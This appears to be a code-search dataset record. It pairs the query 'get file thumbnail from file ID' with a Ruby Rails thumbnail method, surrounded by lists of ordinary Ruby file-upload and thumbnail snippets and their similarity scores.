"def upload_directory(locale, directory)\n @log.debug \"Looking for files in #{directory}\"\n Dir.chdir(directory)\n \n #Get all document ids by locale\n @id_checksum_hash = get_id_checksum_hash(locale)\n \n #Loop through every deliverable and upload its content\n Dir.glob(\"*\") do | deliverable_dir |\n @log.debug \"Descending into #{locale}/#{deliverable_dir}\"\n \n #Upload the deliverable metadata\n deliverable_metadata = nil\n Dir.glob(\"#{deliverable_dir}/deliverable_metadata.json\") do | metadata_file |\n @log.debug \"Attempting to upload metadata for #{locale}/#{metadata_file}\"\n id = get_deliverable_metadata_id(locale, Settings[:CURRENT_VERSION], deliverable_dir)\n deliverable_metadata = create_doc_from_json(id, metadata_file)\n end\n \n #Upload the toc file\n Dir.glob(\"#{deliverable_dir}/*.toc\") do | toc_file |\n @log.debug \"Attempting to upload ToC for #{locale}/#{toc_file}\"\n id = get_toc_id(locale, Settings[:CURRENT_VERSION], deliverable_dir)\n create_plain_file(toc_file, id, locale)\n end\n \n #Upload the html files and their referenced dependencies\n Dir.glob (\"#{deliverable_dir}/**/*.{html,htm}\") do | html_file |\n @log.debug \"Attempting to upload html for #{locale}/#{html_file}\"\n create_html_document(directory, html_file, locale, deliverable_metadata)\n \n @log.debug \"Attempting to upload dependencies for #{locale}/#{html_file}\"\n upload_referenced_images(directory, html_file, locale)\n end\n end\n end",
"def mass_upload\n if Gallery.create_from_directory params[:directory]\n redirect_to :action => 'follow_import'\n else\n flash[:notice] = 'the directory is not a directory'\n render :action => 'new'\n end\n rescue ActiveRecord::RecordInvalid\n render :action => 'new'\n end",
"def folder_params\n params.require(:folder).permit(:name, :creator_id)\n end",
"def folder_params\n params.require(:folder).permit(:name, :parent_id, :tag_list)\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def upload\n @album = Album.find( params[:album_id].to_i)\n end",
"def upload_file(deployment_id, id, local_file, destination, params={})\n if destination.empty? || destination == \"/\" || destination == \".\" || destination.include?(\"../\")\n raise \"#{self.class}.upload_file() passed a bad destination: '#{destination}'\"\n end\n # url = \"#{@base_url}/#{base_path}/#{deployment_id}/versions/#{id}/files\"\n url = \"#{base_path}/#{deployment_id}/versions/#{id}/files\"\n if !destination.to_s.empty?\n url += \"/#{destination}\"\n end\n # use URI to escape path\n uri = URI.parse(url)\n url = uri.path\n # params[:filename] = File.basename(destination)\n if !local_file.kind_of?(File)\n local_file = File.new(local_file, 'rb')\n end\n payload = local_file\n headers = {'Content-Type' => 'application/octet-stream'}\n headers['Content-Length'] = local_file.size # File.size(local_file)\n execute(method: :post, url: url, headers: headers, payload: payload, params: params, timeout: 172800)\n end",
"def upload(params)\n self.class.post('/files.upload', body: params.merge({token: @token})).tap do |response|\n raise \"error uploading file: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end\n end",
"def upload_images(dir = nil)\n include Hermes::Upload\n @catalog = Catalog.default\n proc = lambda {|file, folder| upload_image(file, :folder => folder) }\n directory = dir || @catalog.source\n process_folder(directory, proc) \n end",
"def folder_params\n params.require(:folder).permit(:title, :description, :number, :active, :enterprise_id, :feature_id, :phase_id)\n end",
"def upload(file, identifier, copy = true)\n return \"/images/no_image.gif\" if file.nil?\n\n filename = \"#{identifier.to_s}_#{file[:filename]}\"\n full_path = File.join(self.root, self.path)\n\n if copy\n FileUtils.mkdir_p(full_path)\n FileUtils::cp(file[:tempfile].path, File.join(full_path, filename))\n end\n\n File.join(self.path, filename)\n end",
"def upload_file(file, file_name, folder = '/cgi-bin/uploads')\n upload_url = 'https://mp.weixin.qq.com/cgi-bin/filetransfer'\\\n '?action=upload_material&f=json&writetype=doublewrite'\\\n \"&groupid=1&ticket_id=#{@ticket_id}\"\\\n \"&ticket=#{@ticket}&token=#{@token}&lang=zh_CN\"\n response = RestClient.post upload_url, file: file,\n Filename: file_name,\n folder: folder\n JSON.parse response.to_s\n end",
"def upload_recordings(vbsdk, dir)\n filepath = File.join(dir, 'recording_*.mp3')\n Dir.glob(filepath).each_with_index do |file, _i|\n puts file\n res = vbsdk.upload_media(filePath: file, fileContentType: 'audio/mpeg', desc: 'myfile')\n pp res.body\n puts res.status\n end\nend",
"def folder_params\n params.require(:folder).permit(:name, :path, :parent)\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def upload(params)\n self.class.post('/files.upload', body: params.merge({token: @token})).tap do |response|\n raise \"error uploading file: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end\n end",
"def save_file_batch(files, new_obj_id)\n url = \"#{@base_url}/api/v2/files/#{new_obj_id}/create_batch\"\n resp = api_post_json(url, files.to_json)\n if resp.code != '201'\n @log.write(\"Error saving #{files.count} files #{files[0]['identifier']}...\\n\")\n @log.write(files.inspect)\n @log.write(\"\\n\" + resp.body + \"\\n\")\n #exit(1)\n end\n end",
"def set_folder\n @folder = Folder.find_by!(id: params[:id], user_id: current_user.id)\n end",
"def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save\n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder\n redirect_to browse_path(@upload.folder)\n else\n redirect_to root_url\n end\n else\n render :action => 'new'\n end\n end",
"def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save \n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder #checking if we have a parent folder for this file \n redirect_to browse_path(@upload.folder) #then we redirect to the parent folder \n else\n redirect_to root_url \n end \n else\n render 'new'\n end\n end",
"def batch_upload(images, album_id)\n upload_url = get_upload_url(album_id) \n vk_options = { url: upload_url }\n \n images.slice(0, 5).each_with_index do |image, i|\n vk_options[\"file#{i+1}\"] = get_image_metadata(image)\n end\n \n puts vk_options.inspect\n upload_response = VkontakteApi.upload(vk_options)\n save_response = @agent.photos.save(upload_response)\n \n return save_response.map{ |i| i.pid }\n end",
"def set_upload_file_to_server\n @upload_file_to_server = UploadFileToServer.find(params[:id])\n end",
"def folder_params\n params.require(:folder).permit(:title, :color, :user_id)\n end",
"def upload(ticket, file_path, response_url='www.divshare.com/upload_result') \n location = nil\n File.open(file_path, 'r') { |file|\n uri = URI.parse(UPLOAD_URL)\n http = Net::HTTP.new(uri.host, uri.port)\n # API methods can be SLOW. Timeout interval should be long.\n http.read_timeout = 15*60\n request = Net::HTTP::Post.new(UPLOAD_PATH)\n fields = Hash.new\n fields['upload_ticket'] = ticket\n # API doesn't allow blank response_url. This is just filler.\n fields['response_url'] = response_url\n\n fields['file1'] = file\n request.multipart_params = fields\n # Until DivShare supports direct upload API, we deal with its response location field\n location = http.request(request)['location']\n }\n \n # if error, throw, otherwise return file ID for caller to do whatever they like\n resp = {}\n location.split('?')[1].split('&').each { |param| \n k, v = param.split('=', 2) # some params could contain two '=' for some reason\n resp[k]=CGI.unescape(v)\n }\n if resp['error']\n raise Divshare::APIError, resp['description']\n else\n resp['file1'] # return the file ID\n end\n end",
"def upload\n result = FileUploadService.new(upload_params).create\n if result[:status] == 'failed'\n flash[:error] = result[:message]\n path = root_path\n else\n path = albums_path\n flash[:success] = result[:message]\n end\n redirect_to path\n end",
"def upload!(acl)\n file_number = 0\n\n total_files = @files.length\n\n @files.each do |file|\n file_number += 1\n\n print \"\\rUploading... [#{file_number}/#{total_files}]\"\n\n next if File.directory? file\n\n # Get the path relative to containing directory\n path = file.gsub(/^#{@folder_path}\\//, '')\n\n options = { :acl => acl }\n\n if MIME::Types.type_for(file).count > 0\n options[:content_type] = MIME::Types.type_for(file).first.to_str\n end\n\n @s3_bucket.object(path).upload_file(file, options)\n end\n\n puts \"\\rUpload complete!\".ljust 80\n end",
"def upload(bucket, file); end",
"def put_complex_dir(uri, files, wait = true,opts = {})\n dirs = []\n id = @utils.id_generate\n files.each{ |f| dirs << f[:filename].split(File::SEPARATOR)[0...-1].join(File::SEPARATOR) + File::SEPARATOR if f.has_key? :filename }\n (dirs.uniq).each { |dir| ddarun(dir,true,false) }\n options = {\"URI\" => uri, \"Identifier\" => id}.merge(opts)\n files.each_with_index do |file, index|\n options[\"Files.#{index}.Name\"] = file[:name]\n options[\"Files.#{index}.UploadFrom\"] = file[:uploadfrom]\n options[\"Files.#{index}.DataLength\"] = file[:data].bytesize if file.has_key? :data\n options[\"Files.#{index}.Filename\"] = file[:filename] if file[:uploadfrom].include? 'disk'\n options[\"Files.#{index}.TargetURI\"] = file[:targeturi] if file[:uploadfrom].include? 'redirect'\n options[\"Files.#{index}.Metadata.ContentType\"] = file[:mimetype] if file.has_key? :mimetype\n end\n message = @utils.packet_mangler(options,\"ClientPutComplexDir\")\n files.each { |f| message << f[:data] if f.has_key? :data}\n puts message\n send_packet message\n if wait\n wait_for(id,/PutFailed|PutSuccessful/)\n else\n id\n end\n end",
"def set_file_upload\n @file_upload = FileUpload.find(params[:id])\n end",
"def set_file_upload\n @file_upload = FileUpload.find(params[:id])\n end",
"def upload\n files_saved = 0\n # Build product images from upload\n\t\tparams[:file].each do |i|\n if i[:file_data] && !i[:file_data].blank?\n new_file = UserUpload.init(i[:file_data])\n if new_file.save\n files_saved += 1\n end\n end\n end\n \n flash[:notice] = \"#{files_saved} file(s) uploaded.\"\n \n if params[:modal]\n redirect_to :action => 'image_library' and return\n else\n redirect_to :action => 'index' and return\n end\n end",
"def upload_file\n file = google_session.upload_from_file(file_params[:file].tempfile,\n file_params[:file].original_filename)\n collection.add(file)\n google_session.root_collection.remove(file)\n render json: 'Upload Successful'\n end",
"def folder_params\n params.require(:folder).permit(:nombre, :id_padre)\n end",
"def set_folder\n @folder = PulStore::Lae::Folder.find(params[:id])\n end",
"def store_files(uuids)\n Uploadcare::FileList.batch_store(uuids)\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def upload(path, extension)\n upload = Upload.new(self.folder, path, {:extension => extension})\n upload.save\n upload\n end",
"def upload(params={})\n raise PeddlerError.new('Batch already uploaded') unless @id.nil?\n @transport.legacize_request\n @transport.path << 'catalog-upload/'\n \n case params[:method].to_s\n when 'modify'\n @transport.path << 'modify-only'\n @transport.body = file_content(:short)\n when 'purge'\n @transport.path << 'purge-replace'\n @transport.body = file_content\n else\n @transport.path << 'add-modify-delete'\n @transport.body = file_content\n end\n params.delete(:method)\n \n params = defaultize(params)\n @transport.headers.merge!(params)\n res = @transport.execute_request\n \n if res =~ /^<BatchID>(.*)<\\/BatchID>$/\n @id = $1\n else\n @id = 0\n end\n true\n end",
"def to_jq_upload(folder_id)\n {\n \"name\" => read_attribute(:content),\n \"size\" => content.size,\n \"url\" => content.url,\n # \"thumbnail_url\" => content.thumb.url,\n \"delete_url\" => folder_upload_path(folder_id: folder_id, id: self.id),\n \"delete_type\" => \"DELETE\" \n }\n end",
"def upload_file(item_file)\n upload_response = @server.upload(item_file.file(item_file.metadata_full_path))\n json = JSON.parse(upload_response.body)\n json['files'].map { |f| f['id'] }\n end",
"def post_file_to_server id, content, size, page_count, extension = \".jpg\"\n\n @s.execute_file_post @s.url_for(\"system/pool/createfile.#{id}.page#{page_count}-#{size}\"), \"thumbnail\", \"thumbnail\", content, related_mimetype(extension)\n alt_url = @s.url_for(\"p/#{id}/page#{page_count}.#{size}\" + extension)\n @s.execute_post alt_url, {\"sakai:excludeSearch\" => true}\n log \"Uploaded image to curl #{alt_url}\"\nend",
"def move_file\n\n destFolder = params[:dest]\n targetFile = params[:file_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move File - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_file(targetFile, destFolder)\n flash[:notice] = \"File moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: File could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def upload_file=(file_name)\n self.file_field(:id=>\"multifile_upload\").set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-oae/\" + file_name)\n end",
"def upload_file(file=nil, category=nil, project=nil, generate_objects=false) \n \n unless File.exists?(file.to_s)\n msg = \"The file #{file.inspect} does not exist...Bailing out.\"\n logger.error(msg.red)\n return false\n end\n\n unless category.is_a?(Categories) || category.to_i > 0\n msg = \"Argument Error for upload_files method: Invalid category id passed to second argument.\\n\" +\n \"Acceptable arguments: Category object, a non-zero numeric String or Integer, \" +\n \"or no argument.\\nInstead got #{category.class}...Bailing out.\"\n logger.error(msg.red)\n return false\n end\n\n unless project.is_a?(Projects) || project.to_i > 0 || project.nil?\n msg = \"Argument Error for upload_files method: Invalid project id passed to third argument.\\n\" +\n \"Acceptable arguments: Projects object, a non-zero numeric String or Integer, \" +\n \"or no argument.\\nInstead got a(n) #{project.class} with value => #{project.inspect}...Bailing out.\"\n logger.error(msg.red) \n return false\n end\n\n category_id = nil\n project_id = nil\n\n if category.is_a?(Categories)\n category_id = category.id\n else\n category_id = category\n end\n\n if project.is_a?(Projects)\n project_id = project.id\n elsif project.nil?\n project_id = ''\n else\n project_id = project\n end\n\n uri = URI.parse(@uri + \"/Files\")\n boundary = (0...50).map { (65 + rand(26)).chr }.join #genererate a random str thats 50 char long\n body = Array.new\n\n msg = \"Uploading File: => {\\\"original_filename\\\":\\\"#{File.basename(file)}\\\",\\\"category_id\\\":\\\"#{category_id}\\\",\\\"project_id\\\":\\\"#{project_id}\\\"}\"\n logger.info(msg.white)\n\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Post.new(uri.request_uri)\n \n if @session\n request.add_field('X-SessionKey',@session)\n else\n @session = @authenticator.get_session\n request.add_field('X-SessionKey',@session)\n end\n\n request[\"cache-control\"] = 'no-cache'\n request[\"content-type\"] = 'multipart/form-data; boundary=----WebKitFormBoundary' + boundary\n\n body << \"------WebKitFormBoundary#{boundary}\\r\\nContent-Disposition: form-data; name=\\\"_jsonBody\\\"\" \n body << \"\\r\\n\\r\\n[{\\\"original_filename\\\":\\\"#{File.basename(file)}\\\",\\\"category_id\\\":#{category_id},\\\"project_id\\\":\\\"#{project_id}\\\"}]\\r\\n\"\n body << \"------WebKitFormBoundary#{boundary}\\r\\nContent-Disposition: form-data; name=\\\"file\\\";\"\n body << \"filename=\\\"#{File.basename(file)}\\\"\\r\\nContent-Type: #{MIME::Types.type_for(file)}\\r\\n\\r\\n\"\n body << IO.binread(file)\n body << \"\\r\\n------WebKitFormBoundary#{boundary}--\"\n\n request.body = body.join\n http.request(request)\n end\n\n Validator::process_http_response(response,@verbose,'Files','POST')\n\n if generate_objects\n \n generate_objects_from_json_response_body(response,'Files')\n\n else\n # JSON Object\n response\n\n end \n end",
"def media_params\n params.require(:media).permit([ :name, :folder_id ])\n end",
"def upload\n file = params[:file].original_filename\n activity = file.sub(/\\..*$/,'')\n path = RAILS_ROOT + \"/public/data/\" + activity\n Dir.mkdir path\n datapath = path + \"/data/\"\n Dir.mkdir datapath\n basename = datapath + activity\n smi = File.open(\"#{basename}.smi\",\"w\")\n cl = File.open(\"#{basename}.class\",\"w\")\n params[:file].read.each do |line|\n items = line.split(/\\s+/)\n smi.puts \"#{items[0]}\\t#{items[1]}\"\n cl.puts \"#{items[0]}\\t#{activity}\\t#{items[2]}\"\n end\n if LazarCategory.find_by_name(\"Uploads\").blank?\n cat = LazarCategory.create(:name => \"Uploads\")\n else\n cat = LazarCategory.find_by_name(\"Uploads\")\n end\n LazarModule.create(:endpoint => activity, :directory => path, :lazar_category => cat)\n redirect_to :action => :search\n end"
] | [
"0.74013835",
"0.7001351",
"0.696491",
"0.6908442",
"0.68771386",
"0.6819738",
"0.67981625",
"0.67732066",
"0.66538364",
"0.6643929",
"0.66438466",
"0.6628339",
"0.6609764",
"0.6593928",
"0.6555811",
"0.6555811",
"0.654048",
"0.646475",
"0.6413081",
"0.64009106",
"0.6359396",
"0.6359396",
"0.63265187",
"0.6324378",
"0.6312469",
"0.6297431",
"0.6293158",
"0.6289545",
"0.62607306",
"0.62571025",
"0.6250048",
"0.62092465",
"0.6191907",
"0.6191083",
"0.61875427",
"0.6183402",
"0.617709",
"0.61686766",
"0.61547834",
"0.61329335",
"0.61325145",
"0.61318904",
"0.6122476",
"0.6112093",
"0.60992545",
"0.6097255",
"0.608859",
"0.6043229",
"0.60406625",
"0.6039175",
"0.6028043",
"0.60257584",
"0.60247934",
"0.6018323",
"0.6018323",
"0.6014314",
"0.601416",
"0.60128975",
"0.60071135",
"0.5982661",
"0.5980435",
"0.59774405",
"0.5965317",
"0.59316635",
"0.5931453",
"0.5927944",
"0.592787",
"0.59218186",
"0.59203935",
"0.5913104",
"0.5906181",
"0.58971256",
"0.5896154",
"0.58939445",
"0.58916295",
"0.58910173",
"0.5888882",
"0.58845073",
"0.5882405",
"0.5882405",
"0.58802325",
"0.58724636",
"0.5869147",
"0.58624995",
"0.58568233",
"0.5855657",
"0.5855657",
"0.5855657",
"0.5855657",
"0.5855657",
"0.5854574",
"0.5850443",
"0.5848985",
"0.5847229",
"0.58379185",
"0.58363116",
"0.5832829",
"0.58294725",
"0.5827981",
"0.58262897"
] | 0.6249226 | 31 |
get file thumbnail from file ID | def thumbnail
image = Rails.cache.fetch("/image_thumbnail/#{params[:id]}", :expires_in => 10.minutes) do
puts "miss!"
user_client.thumbnail(params[:id], min_height: 256, min_width: 256)
end
send_data image, :type => 'image/png', :disposition => 'inline'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def thumbnail\n \tobject.file.url(:thumb)\n end",
"def thumbnail_file(attribute)\n doc = scribd_document_for(attribute)\n\n if doc && doc.thumbnail_url\n open(doc.thumbnail_url).read\n else\n send(attribute).to_file(:thumb).open { |f| f.read }\n end\n rescue Errno::ENOENT, NoMethodError # file not found or nil thumb file\n nil\n end",
"def get_thumbnail(id)\n\n avatar_url = Rails.cache.fetch(\"/avatar_urls/#{id}\", :expires_in => 10.minutes) do\n puts \"cache miss\"\n begin\n Box.admin_client.user_from_id(id, fields: [:avatar_url]).avatar_url\n rescue\n puts \"own avatar...\"\n Box.admin_client.user_from_id(session[:box_id], fields: [:avatar_url]).avatar_url\n end\n end\n avatar_url\n end",
"def get_thumbnail\n puts \"id:\", id\n if File.exists?(\"app/assets/images/project_#{id}/page_index.png\")\n \"/assets/project_#{id}/page_index.png\"\n else\n \"/assets/default.jpg\"\n end\n end",
"def find_thumbnail(file_set:)\n find_exactly_one_file_by_use(\n file_set: file_set,\n use: Hyrax::FileMetadata::Use::THUMBNAIL\n )\n end",
"def getthumbnail\n @trek = Trek.find params[:id]\n if @trek.nil?\n redirect_to treks_path, :alert => \"Trek not found.\"\n end\n fname = params[\"name\"]+\".\"+params[\"format\"]\n thumb_path = @trek.get_thumbnail(fname)\n if thumb_path.nil?\n img = Magick::Image.read(@trek.get_img_path(fname)).first\n thumb = img.resize_to_fill(75, 75)\n thumb.write(@trek.get_processed_path + \"/\" + fname)\n send_data thumb.to_blob, :type => \"image/jpeg\", :disposition => \"inline\"\n else\n send_file thumb_path, :type => \"image/jpeg\", :disposition => \"inline\"\n end\n end",
"def find_thumbnail_id(resource, file_resources)\n return unless resource.thumbnail_id.blank?\n file_resources.each do |file_resource|\n extension = File.extname(file_resource.original_file.original_filename.first)\n return file_resource.id unless no_thumbail_extensions.include?(extension)\n end\n\n nil\n end",
"def get_thumbnail(server, id, width, height, method = 'scale')\n make_request(\n :get,\n \"/thumbnail/#{server}/#{id}\",\n headers: { 'Accept' => 'image/jpeg, image/png' },\n params: { width: width, height: height, method: method },\n base: @media_uri\n )\n end",
"def thumbnail_file\n scribd_document ? open(scribd_document.thumbnail_url).read : nil\n end",
"def find_thumbnail_file\n map_set = MapSet.find(geo_work.id)\n image_work = map_set.thumbnail\n return unless image_work\n image_work_presenter = ImageWorkShowPresenter.new(SolrDocument.new(image_work.to_solr), nil)\n file_set_id = image_work_presenter.solr_document.representative_id\n @file_set = image_work_presenter.geo_file_set_presenters.find { |presenter| presenter.id == file_set_id }\n end",
"def thumb\n filename = params[:filename]\n @photo = @album.photos.find(:first, :conditions => [ \"image_file_name = ?\", filename ], :order => 'created_at DESC')\n end",
"def thumb\n File.join folder, 'thumbs', file_path\n end",
"def thumb\n File.join folder, 'thumbs', file_path\n end",
"def get_thumb(cloud_file)\n uri = {file_path: cloud_file.path} if cloud_file.path\n response = Dropbox.successful_request?(:thumbnail, access_token, uri)\n\n response.body\n end",
"def thumb_id\n regex_url = /pictures[\\/][\\d]+[\\/]/ \n string_url = self.content.scan(regex_url).to_s \n regex_id = /[\\d]+/ \n picture_id = string_url.scan(regex_id)[0]\n return picture_id\n end",
"def thumb_id\n regex_url = /pictures[\\/][\\d]+[\\/]/ \n string_url = self.content.scan(regex_url).to_s \n regex_id = /[\\d]+/ \n picture_id = string_url.scan(regex_id)[0]\n return picture_id\n end",
"def get_thumbnail_url\n thumb_filename = self.filename.split('.')[0] + \"_thumb_300.jpg\"\n thumbnail_url = Storage.get_file_url(ENV['AWS_S3_DIR_PAGES'], self.issue_id, thumb_filename )\n return thumbnail_url\n end",
"def get_media_filename\n \"#{@uuid}.#{get_thumbnail_extension}\"\n end",
"def find_thumbnail_id(file_sets)\n return if parent.thumbnail_id.present?\n file_sets.each do |file_set|\n extension = File.extname(file_set.primary_file.original_filename.first)\n return file_set.id unless no_thumbnail_extensions.include?(extension)\n end\n\n nil\n end",
"def find_thumbnail(file_set:)\n if file_set.respond_to?(:thumbnail_id)\n raise ::Valkyrie::Persistence::ObjectNotFoundError, \"File set's thumbnail is blank\" if file_set.thumbnail_id.blank?\n query_service.custom_queries.find_file_metadata_by(id: file_set.thumbnail_id)\n else\n raise ::Valkyrie::Persistence::ObjectNotFoundError,\n \"#{file_set.internal_resource} is not a `Hydra::FileSet` implementer\"\n end\n end",
"def thumb_url\n original = case file_data.ext.downcase\n when 'png', 'gif' ,'jpeg', 'jpg'\n file_data\n when 'pdf'\n file_data.thumb('568x', format: 'png', frame: 0).encode('png')\n # Dragonfly.app.fetch_file('public/pdf.png')\n when 'doc', 'docx'\n Dragonfly.app.fetch_file('attach_it/doc.png')\n end\n original.url\n end",
"def thumb_url(size)\n image.file.thumb(size).url\n end",
"def thumbnail\n thumbnails[3]\n end",
"def thumbnail(sid, opts={})\r\n\r\n maxwidth\t= (opts[:maxwidth] || 128).to_f\r\n maxheight\t= (opts[:maxheight] || 128).to_f\r\n aspectratio\t= maxwidth / maxheight\r\n path\t\t= nil\r\n dest_path\t= nil\r\n pic\t\t= nil\r\n case sid.to_sym\r\n when :photo\r\n path\t\t= self.photo__path\r\n dest_path\t= self.photo__thumb_path\r\n end\r\n pic\t = path ? Magick::Image.read(path).first : Magick::Image.from_blob(pic).first\r\n imgwidth = pic.columns\r\n imgheight = pic.rows\r\n imgratio = imgwidth.to_f / imgheight.to_f\r\n scaleratio= imgratio > aspectratio ? maxwidth / imgwidth : maxheight / imgheight\r\n thumb\t = pic.thumbnail(scaleratio)\r\n thumb.write(dest_path) if dest_path\r\n return thumb.to_blob\r\n end",
"def set_thumbnail\n @thumbnail = Thumbnail.find(params[:id])\n end",
"def thumb_id(product) \n thumbs = product.photos.active.usage(\"Thumb\").sort_by_display_order\n if thumbs.size == 0\n return nil\n else\n return thumbs[0].id\n end\n end",
"def thumb_link\n \"/images/pictures/#{self.id}.jpg\"\n end",
"def thumbnail_url\n return self.endpoint.thumbnail_url(self.id)\n end",
"def wp_get_attachment_thumb_file(post_id = 0)\n post_id = post_id.to_i\n post = get_post post_id\n return false if post.nil?\n\n imagedata = wp_get_attachment_metadata(post.id)\n return false unless imagedata.is_a? Hash\n imagedata.symbolize_keys!\n\n file = get_attached_file post.id\n\n unless imagedata[:thumb].blank?\n thumbfile = file.gsub(wp_basename(file), imagedata[:thumb])\n if thumbfile && File.exist?(thumbfile)\n # Filters the attachment thumbnail file path.\n return apply_filters('wp_get_attachment_thumb_file', thumbfile, post.id)\n end\n end\n return false\n end",
"def thumbnail\n feedItem = FeedItem.where(\"id = ?\", params[:id]).limit(1).first rescue nil\n\n if (feedItem)\n # Generate a thumbnail image if none exists\n feedItem.generate_thumbnail if feedItem.image.blank?\n\n if feedItem.image.blank?\n return redirect_to \"file:///\" \n else\n return redirect_to feedItem.image\n end\n else\n return redirect_to \"file:///\"\n end\n end",
"def thumbnail(path, opts = {})\n optional_inputs = {\n format: 'jpeg',\n size: 's',\n }.merge(opts)\n input_json = {\n path: path,\n format: optional_inputs[:format],\n size: optional_inputs[:size],\n }\n response = @session.do_content_endpoint(\"/#{ @namespace }/thumbnail\", input_json)\n file, metadata = Dropbox::API::HTTP.parse_content_response(response)\n return file, Dropbox::API::File.from_json(metadata)\n end",
"def get_thumb(register)\n begin\n thumb = SolrQuery.new.solr_query(\"id:#{register}\", 'thumbnail_url_tesim', 1)['response']['docs'][0]['thumbnail_url_tesim']\n if thumb.nil?\n #return a generic thumbnail\n 'register_default.jpg'\n else\n thumb[0]\n end\n rescue => error\n log_error(__method__, __FILE__, error)\n raise\n end\n\n end",
"def get_file(file_id)\n raise ArgumentError, \"Only one file id allowed for this method\" if file_id.is_a?(Array)\n get_files(file_id).first\n end",
"def thumbnail\r\n\t\tbegin\r\n\t\t\t@image = Image.find(params[:id])\r\n\t\trescue ActiveRecord::RecordNotFound\r\n\t\t\trender :text => \"Image ##{params[:id].to_s} not found\"\r\n\t\telse\r\n\t\t\t# Can probably replace this with a call to to_sym(), but why fix what ain't broke?\r\n\t\t\tscaling_mode = case params[:mode]\r\n\t\t\twhen 'stretch' then :stretch\r\n\t\t\twhen 'fit' then :fit\r\n\t\t\twhen 'crop' then :crop\r\n\t\t\telse :fit\r\n\t\t\tend\r\n\t\t\t@thumbnail = @image.thumbnail(params[:width], params[:height], scaling_mode)\r\n\t\t\tif @thumbnail.kind_of? Thumbnail\r\n\t\t\t\tsend_data(@thumbnail.data,\r\n\t\t\t\t\t:filename => @thumbnail.filename,\r\n\t\t\t\t\t:type => @thumbnail.content_type,\r\n\t\t\t\t\t:disposition => 'inline')\r\n\t\t\telse\r\n\t\t\t\trender :text => @thumbnail.inspect\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"def thumb_path\n \"#{PATH}/#{thumb_filename}\"\n end",
"def thumbnail\n\t\t\t@data[\"thumbnail\"][\"source\"]\n\t\tend",
"def metadata_by_id(file_id)\n if file_id.is_a? String\n client = google_api_client\n metadata = client.get_file(\n file_id,\n fields: 'id, name, thumbnailLink, webContentLink, webViewLink, trashed'\n )\n validate_metadata(metadata)\n metadata\n end\n end",
"def thumbnail_path\n \"t_\" + image_path\n end",
"def thumb_url dimensions=\"100x100#\", jpg_quality=75\n return unless file\n return file.url if (file.ext.present? && file.ext.to_sym == :svg)\n\n file.thumb(dimensions).url\n end",
"def fake_thumbnail(commit_id)\n src = File.join(Rails.public_path, 'mini_dir.png')\n FileUtils.ln_s src, image_for(commit_id, 'thumbnails')\n end",
"def thumbnail_url document\n return document.thumbnail_path if document.try(:thumbnail_path).present?\n if document.id == document.thumbnail_id\n representative_document = document\n else\n representative_document = ::SolrDocument.find(document.thumbnail_id)\n end\n\n thumbnail_file_id = representative_document.original_file_id\n if thumbnail_file_id\n Hyrax.config.iiif_image_url_builder.call(thumbnail_file_id, nil, '250,')\n else\n raise 'thumbnail_file_id is nil'\n end\n\n rescue\n image_path 'default.png'\n end",
"def thumb\n map = Map.find(params[:id])\n thumb = map.upload.url(:thumb)\n \n redirect_to thumb\n end",
"def thumb\n map = Map.find(params[:id])\n thumb = map.upload.url(:thumb)\n redirect_to thumb\n end",
"def thumbnail_url\n is_processed ? \n FileSystem.url(thumbnail_path) :\n orig_image_url\n end",
"def thumb_url\n image.url(:thumbnail)\n end",
"def thumb_url\n image.url(:thumbnail)\n end",
"def fake_thumbnail(commit_id)\n src = File.join(Rails.public_path, 'mini_dir.png')\n FileUtils.ln_s src, thumbnail_for(commit_id)\n end",
"def thumbnail_for(commit_id, add_public = true)\n prefix = data_path.dup\n prefix.sub!('public', '') unless add_public\n \"#{prefix}/thumbnails/#{commit_id}\"\n end",
"def [](key)\n return super if key == :thumbnail_id\n super.first\n end",
"def cover_thumb_url\n images('thumb').first[:src]\n end",
"def get_file(id)\n id = self.to_id(id)\n self.grid.get(id).read\n end",
"def thumbnail_url\n is_processed ? \n FileSystem.url(thumbnail_path) :\n (orig_thumb_url.present? ? orig_thumb_url : orig_image_url)\n end",
"def generate_thumbnail(image_path, commit_id)\n thumb_size = Glitter::Application.config.thumbnail_geometry\n image = Magick::Image.read(\n \"#{satellitedir}/#{image_path}\"\n ).first\n image.scale(\n thumb_size[0],\n thumb_size[1]\n ).write thumbnail_for(commit_id, true)\n end",
"def single_picture(foursq_id)\n foursq_hash = Instagram.location_search(foursq_id)\n if foursq_hash.empty?\n return \"http://media.npr.org/assets/news/2010/01/30/tianshan2-1a2a29b83bc7a670bf8210d9c6daefa3ba46f971-s6-c30.jpg\"\n else\n all_results = Instagram.location_recent_media(foursq_hash[0][\"id\"])\n if all_results.empty?\n return \"http://media.npr.org/assets/news/2010/01/30/tianshan2-1a2a29b83bc7a670bf8210d9c6daefa3ba46f971-s6-c30.jpg\"\n else\n all_results.sample[\"images\"][\"standard_resolution\"][\"url\"]\n end\n end\n end",
"def original_file_id\n \"#{resource.id}/files/#{resource.original_file_id}\"\n end",
"def image_path\n thumbnail_url\n end",
"def thumburl\n thumb_path\n end",
